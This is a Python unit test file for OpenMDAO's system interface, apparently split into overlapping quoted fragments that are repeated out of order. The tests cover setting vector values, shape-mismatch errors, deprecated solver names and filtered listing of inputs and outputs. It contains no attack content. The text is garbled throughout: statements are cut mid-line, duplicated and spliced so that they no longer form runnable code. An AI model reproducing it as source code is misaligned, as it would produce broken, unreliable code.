bad_val.tolist() # # set residual #", "cm: inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get", "model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver setter & getter msg", "assign array to array residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'], arr_val,", "self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b'] = 789.", "residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad", "inputs['C2.x'] = bad_val # assign list to array inputs['C2.x'] =", "as cm: inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot", "# assign array to scalar with assertRaisesRegex(self, ValueError, msg): residuals['C1.b']", "yet been called.\") p.setup() p.run_model() # Test inputs with original", "# Inputs with includes and excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'],", "5) # Outputs with includes. Explicit only outputs = model.list_outputs(includes=['*I'],", "set residual # # assign array to scalar with assertRaisesRegex(self,", "= -10 arr_val = -10*np.ones((5, 1)) bad_val = -10*np.ones((10)) inputs,", "= arr_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad array", "array outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign", "list to array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10)", "openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node, Circuit p = Problem() model", "no includes or excludes inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11)", "self.assertRaises(Exception) as cm: inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group:", "num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign array to array", "Explicit only outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5) #", "= arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad list", "3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] = [1., 2., 3.] prob.run_model()", "import VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def", "# Outputs with excludes. Explicit only outputs = model.list_outputs(excludes=['circuit*'], implicit=False,", "= 789. self.assertEqual(outputs['C1.b'], 789.) # Test residuals inputs, outputs, residuals", "model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg')", "import cStringIO import numpy as np from openmdao.api import Problem,", "= arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad list", "residuals['C2.y'], arr_val, 1e-10) # assign bad array shape to array", "shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val", "Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() # Inputs with", "array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val # assign", "assign bad array shape to array with assertRaisesRegex(self, ValueError, msg):", "(.*) but got (.*)\" num_val = -10 arr_val = -10*np.ones((5,", "class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0),", "linear vector named %s\" % 'bad_name') def test_set_checks_shape(self): indep =", "residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals = g1.get_nonlinear_vectors()", "with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val # assign list", "= arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad array", "use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver() with", "self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear')", "num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign array to array", "Test linear d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10.", "num_val = -10 arr_val = -10*np.ones((5, 1)) bad_val = -10*np.ones((10))", "# # set output # # assign array to scalar", "from six.moves import cStringIO import numpy as np from openmdao.api", "array shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] =", "system interface.\"\"\" import unittest from six import assertRaisesRegex from six.moves", "prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The 'metadata' attribute", "Inputs with includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3)", "promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0) # Test", "There is no linear vector named %s\" % 'bad_name') def", "to array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) #", "compatibility \" \\ \"with earlier version of OpenMDAO; use 'options'", "model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) # Inputs with includes inputs =", "promoted name inputs = model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9) #", "assertRaisesRegex from six.moves import cStringIO import numpy as np from", "outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because", "9) # Inputs with includes and excludes inputs = model.list_inputs(includes=['*V_out*'],", "to array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) #", "yet been called.\") with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals", "msg): outputs['C2.y'] = bad_val.tolist() # # set residual # #", "shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val.tolist()", "to scalar with assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] = arr_val #", "arr_val, 1e-10) # assign array to array residuals['C2.y'] = arr_val", "bad list shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x']", "promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0) # Test pre-setup errors with", "bad_val.tolist() # # set residual # # assign array to", "= Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2 = g1.add_subsystem('G2', Group(),", "promotes=['a', 'x']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a',", "Problem() model = p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I',", "'x']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b'])", "g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model) p.set_solver_print(level=0) #", "array outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign", "pass model = Group() # check nl_solver setter & getter", "residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals = g2.get_nonlinear_vectors()", "\"The 'ln_solver' attribute provides backwards compatibility \" \\ \"with OpenMDAO", "IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1 = Group() g1.add_subsystem('Indep', indep,", "indep, promotes=['a', 'x']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'),", "DummySolver(): pass model = Group() # check nl_solver setter &", "# Inputs with no includes or excludes inputs = model.list_inputs(out_stream=None)", "includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3) # Inputs", "to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val #", "model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], -1.)", "\\ \"with OpenMDAO 1.x ; use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning,", "6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node, Circuit", "only outputs = model.list_outputs(excludes=['circuit*'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 2) if", "promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b',", "d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get vectors", "'y']) model = Group() model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b',", "list to array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10)", "list shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] =", "scalar with assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] = arr_val # assign", "\\ \"with earlier version of OpenMDAO; use 'options' instead.\" with", "with no includes or excludes inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs),", "g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model = Group() model.add_subsystem('G1', g1, promotes=['b'])", "# Test outputs with original values inputs, outputs, residuals =", "self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear with invalid vec_name with self.assertRaises(Exception)", "excludes. Explicit only outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5)", "y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b', 'y']) p = Problem(model=model) p.setup()", "Cannot get vectors because setup has not yet been called.\")", "model.get_linear_vectors('vec') self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup has not", "1) # Outputs with no includes or excludes. Explicit only", "backwards compatibility \" \\ \"with OpenMDAO 1.x ; use 'linear_solver'", "outputs['C1.b'] = arr_val # assign scalar to array outputs['C2.y'] =", "outputs, residuals = g2.get_nonlinear_vectors() # Test outputs after setting a", "outputs['C2.y'], arr_val, 1e-10) # assign bad array shape to array", "'ln_solver' attribute provides backwards compatibility \" \\ \"with OpenMDAO 1.x", "len(inputs), 3) # Inputs with includes matching a promoted name", "ValueError, msg): outputs['C2.y'] = bad_val # assign list to array", "-10*np.ones((5, 1)) bad_val = -10*np.ones((10)) inputs, outputs, residuals = g2.get_nonlinear_vectors()", "self.assertEqual(outputs['C1.b'], 789.) # Test residuals inputs, outputs, residuals = model.get_nonlinear_vectors()", "# Inputs with excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs),", "bad_val # assign list to array outputs['C2.y'] = arr_val.tolist() assert_rel_error(self,", "# Test linear d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] =", "789. self.assertEqual(outputs['C1.b'], 789.) # Test residuals inputs, outputs, residuals =", "new value inputs, outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123.", "= bad_val.tolist() # # set output # # assign array", "DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.ln_solver self.assertTrue(isinstance(solver, DummySolver)) def", "g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model = Group()", "Outputs with includes. Explicit only outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None)", "openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils import assert_rel_error, assert_warning class TestSystem(unittest.TestCase):", "array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val.tolist() # #", "g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'],", "bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver(): pass model = Group() #", "model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5, 1))), promotes=['b', 'y']) p", "'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() # Inputs with no includes", "[1., 2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4., 6.]) def", "unittest from six import assertRaisesRegex from six.moves import cStringIO import", "arr_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad array shape", "assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep',", "-1. inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs,", "promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5,", "g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x', 'y']) model =", "assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver():", "\"The 'nl_solver' attribute provides backwards compatibility \" \\ \"with OpenMDAO", "out_stream=None) self.assertEqual( len(inputs), 3) # Inputs with includes matching a", "residuals['C2.y'], arr_val, 1e-10) # assign bad list shape to array", "with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception),", "only outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 4) #", "assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign bad array shape to", "list to array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10)", "2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self):", "model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() # Inputs with no includes or", "with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val # assign list", "p.setup() p.run_model() # Inputs with no includes or excludes inputs", "p.setup() p.set_solver_print(level=0) p.run_model() msg = \"Incompatible shape for '.*': Expected", "inputs['C2.x'], arr_val, 1e-10) # assign array to array inputs['C2.x'] =", "self.assertEqual( len(outputs), 5) # Outputs with includes. Explicit only outputs", "g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1',", "get vectors because setup has not yet been called.\") with", "= g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs after setting a", "arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign bad array shape", "self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs after setting a new value", "arr_val # assign scalar to array outputs['C2.y'] = num_val assert_rel_error(self,", "Explicit only outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 4)", "backwards compatibility \" \\ \"with OpenMDAO 1.x ; use 'nonlinear_solver'", "arr_val = -10*np.ones((5, 1)) bad_val = -10*np.ones((10)) inputs, outputs, residuals", "includes. Explicit only outputs = model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs),", "compatibility \" \\ \"with OpenMDAO 1.x ; use 'linear_solver' instead.\"", "array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign", "= bad_val # assign list to array inputs['C2.x'] = arr_val.tolist()", "= 3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] = [1., 2., 3.]", "# # set residual # # assign array to scalar", "Inputs with includes matching a promoted name inputs = model.list_inputs(includes=['*Vg*'],", "inputs['C1.a'] = -1. inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.)", "provides backwards compatibility \" \\ \"with OpenMDAO 1.x ; use", "model.list_outputs(includes=['*I'], implicit=False, out_stream=None) self.assertEqual( len(outputs), 4) # Outputs with excludes.", "to array inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) #", "5.) inputs, outputs, residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test", "num_val assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign array to array", "with assertRaisesRegex(self, ValueError, msg): inputs['C2.x'] = bad_val.tolist() # # set", "OpenMDAO 1.x ; use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver", "= bad_val.tolist() def test_deprecated_solver_names(self): class DummySolver(): pass model = Group()", "1))), promotes=['b', 'y']) p = Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg", "setup has not yet been called.\") p.setup() p.run_model() # Test", "= g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model =", "msg = \"The 'nl_solver' attribute provides backwards compatibility \" \\", "been called.\") with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals =", "with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] = bad_val.tolist() # # set", "inputs, outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs, outputs,", "inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(outputs['G1.G2.C1.b'], 10.) inputs, outputs, residuals", "= \"Incompatible shape for '.*': Expected (.*) but got (.*)\"", "Test outputs after setting a new value inputs, outputs, residuals", "assign array to array outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'], arr_val,", "to array outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) #", "model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2) # Inputs with excludes inputs", "from openmdao.utils.assert_utils import assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1", "'circuit.Vg') p.setup() p.run_model() # Inputs with no includes or excludes", "with assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] = arr_val # assign scalar", "test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1 =", "inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3) # Inputs with", "out_stream=None) self.assertEqual( len(inputs), 8) # Inputs with excludes matching a", "instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver() with assert_warning(DeprecationWarning, msg):", "with no includes or excludes. Explicit only outputs = model.list_outputs(implicit=False,", "IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup()", "= arr_val # assign scalar to array residuals['C2.y'] = num_val", "inputs['C2.x'], arr_val, 1e-10) # assign bad array shape to array", "# # assign array to scalar with assertRaisesRegex(self, ValueError, msg):", "\"\"\" Unit tests for the system interface.\"\"\" import unittest from", "bad_val # assign list to array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self,", "ValueError, msg): inputs['C2.x'] = bad_val.tolist() # # set output #", "# Test inputs after setting a new value inputs, outputs,", "inputs['C2.x'] = bad_val.tolist() # # set output # # assign", "with assert_warning(DeprecationWarning, msg): model.nl_solver = DummySolver() with assert_warning(DeprecationWarning, msg): solver", "1)) g1 = Group() g1.add_subsystem('Indep', indep, promotes=['a', 'x']) g2 =", "assert_rel_error(self, prob['double.y'], [2., 4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import", "inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 1) # Outputs", "= model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear", "assign array to scalar with assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] =", "0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model()", "z=np.zeros((5, 1))), promotes=['b', 'y']) p = Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model()", "with includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3) #", "model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup has not", "prob.setup() prob['inputs.x'] = [1., 2., 3.] prob.run_model() assert_rel_error(self, prob['double.y'], [2.,", "msg): inputs['C1.a'] = arr_val # assign scalar to array inputs['C2.x']", "cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There", "prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x'] = [1., 2.,", "new value inputs, outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a'] = -1.", "array shape to array with assertRaisesRegex(self, ValueError, msg): outputs['C2.y'] =", "= Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a']) g2 = g1.add_subsystem('G2', Group(),", "with original values inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.)", "x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x', 'y']) model = Group() model.add_subsystem('G1',", "self.assertEqual( len(inputs), 1) # Outputs with no includes or excludes.", "msg): outputs['C1.b'] = arr_val # assign scalar to array outputs['C2.y']", "3) # Inputs with includes matching a promoted name inputs", "for the system interface.\"\"\" import unittest from six import assertRaisesRegex", "ValueError, msg): inputs['C1.a'] = arr_val # assign scalar to array", "residual # # assign array to scalar with assertRaisesRegex(self, ValueError,", "setter & getter msg = \"The 'ln_solver' attribute provides backwards", "= model.list_inputs(excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 9) # Inputs with includes", "arr_val, 1e-10) # assign bad list shape to array with", "Test linear with invalid vec_name with self.assertRaises(Exception) as cm: d_inputs,", "\"Group: Cannot get vectors because setup has not yet been", "Group() model.add_subsystem('G1', g1, promotes=['b']) model.add_subsystem('Sink', ExecComp('c=2*b'), promotes=['b']) p = Problem(model=model)", "= model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group (<model>): There is no linear vector", "inputs, outputs, residuals = g2.get_nonlinear_vectors() # # set input #", "outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) # assign array", "implicit=False, out_stream=None) self.assertEqual( len(outputs), 4) # Outputs with excludes. Explicit", "attribute provides backwards compatibility \" \\ \"with earlier version of", "1e-10) # assign bad list shape to array with assertRaisesRegex(self,", "with assert_warning(DeprecationWarning, msg): solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check", "residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs,", "Outputs with no includes or excludes. Explicit only outputs =", "g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5,", "10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear with invalid vec_name with", "1.x ; use 'nonlinear_solver' instead.\" with assert_warning(DeprecationWarning, msg): model.nl_solver =", "bad array shape to array with assertRaisesRegex(self, ValueError, msg): inputs['C2.x']", "residuals = g1.get_nonlinear_vectors() self.assertEqual(inputs['G2.C1.a'], 5.) # Test inputs after setting", "arr_val, 1e-10) # assign array to array inputs['C2.x'] = arr_val", "DummySolver)) def test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double',", "p.setup() p.run_model() # Test inputs with original values inputs, outputs,", "= IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1)) g1 = Group() g1.add_subsystem('Indep',", "to array outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10) #", "use 'options' instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x',", "a promoted name inputs = model.list_inputs(includes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs), 2)", "789.) # Test residuals inputs, outputs, residuals = model.get_nonlinear_vectors() residuals['G1.G2.C1.b']", "Unit tests for the system interface.\"\"\" import unittest from six", "Problem(model=model) p.setup() p.set_solver_print(level=0) p.run_model() msg = \"Incompatible shape for '.*':", "setup has not yet been called.\") with self.assertRaises(Exception) as cm:", "to scalar with assertRaisesRegex(self, ValueError, msg): outputs['C1.b'] = arr_val #", "with assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] = arr_val # assign scalar", "array to scalar with assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] = arr_val", "Group() # check nl_solver setter & getter msg = \"The", "outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5) # Outputs with", "g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) g2.add_subsystem('C2',", "import assertRaisesRegex from six.moves import cStringIO import numpy as np", "but got (.*)\" num_val = -10 arr_val = -10*np.ones((5, 1))", "self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('bad_name') self.assertEqual(str(cm.exception), \"Group", "check nl_solver setter & getter msg = \"The 'nl_solver' attribute", "cStringIO import numpy as np from openmdao.api import Problem, Group,", "Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a', 'b']) model = Group() model.add_subsystem('G1',", "solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver setter &", "Inputs with includes and excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None)", "with self.assertRaises(Exception) as cm: inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(str(cm.exception),", "a new value inputs, outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] =", "model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() # Inputs with no", "= model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5) # Outputs with includes.", "prob.model.add_subsystem('double', VectorDoublingComp()) msg = \"The 'metadata' attribute provides backwards compatibility", "with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec') self.assertEqual(str(cm.exception),", "called.\") p.setup() p.run_model() # Test inputs with original values inputs,", "# Test outputs after setting a new value inputs, outputs,", "scalar to array outputs['C2.y'] = num_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10)", "inputs['C2.x'], arr_val, 1e-10) # assign bad list shape to array", "setting a new value inputs, outputs, residuals = g2.get_nonlinear_vectors() inputs['C1.a']", "the system interface.\"\"\" import unittest from six import assertRaisesRegex from", "'options' instead.\" with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x')", "value inputs, outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'],", "to array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) #", "'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x', 'y']) model", "model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink', ExecComp(('c=2*b', 'z=2*y'), y=np.zeros((5, 1)), z=np.zeros((5,", "outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs,", "# Inputs with includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs),", "g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'], 789.) # Test residuals inputs,", "# Test inputs with original values inputs, outputs, residuals =", "inputs['C1.a'] = arr_val # assign scalar to array inputs['C2.x'] =", "11) # Inputs with includes inputs = model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual(", "# assign array to array inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'],", "linear d_inputs, d_outputs, d_residuals = model.get_linear_vectors('linear') d_outputs['G1.G2.C1.b'] = 10. self.assertEqual(d_outputs['G1.G2.C1.b'],", "from six import assertRaisesRegex from six.moves import cStringIO import numpy", "99.0 self.assertEqual(residuals['G1.G2.C1.b'], 99.0) # Test linear d_inputs, d_outputs, d_residuals =", "residuals['C2.y'], arr_val, 1e-10) # assign array to array residuals['C2.y'] =", "Diode, Node, Circuit p = Problem() model = p.model model.add_subsystem('ground',", "# set output # # assign array to scalar with", "only outputs = model.list_outputs(implicit=False, out_stream=None) self.assertEqual( len(outputs), 5) # Outputs", "123.) inputs, outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b'] = 789. self.assertEqual(outputs['C1.b'],", "assert_warning(DeprecationWarning, msg): solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver)) # check ln_solver", "out_stream=None) self.assertEqual( len(outputs), 4) # Outputs with excludes. Explicit only", "IndepVarComp('x', shape=3)) 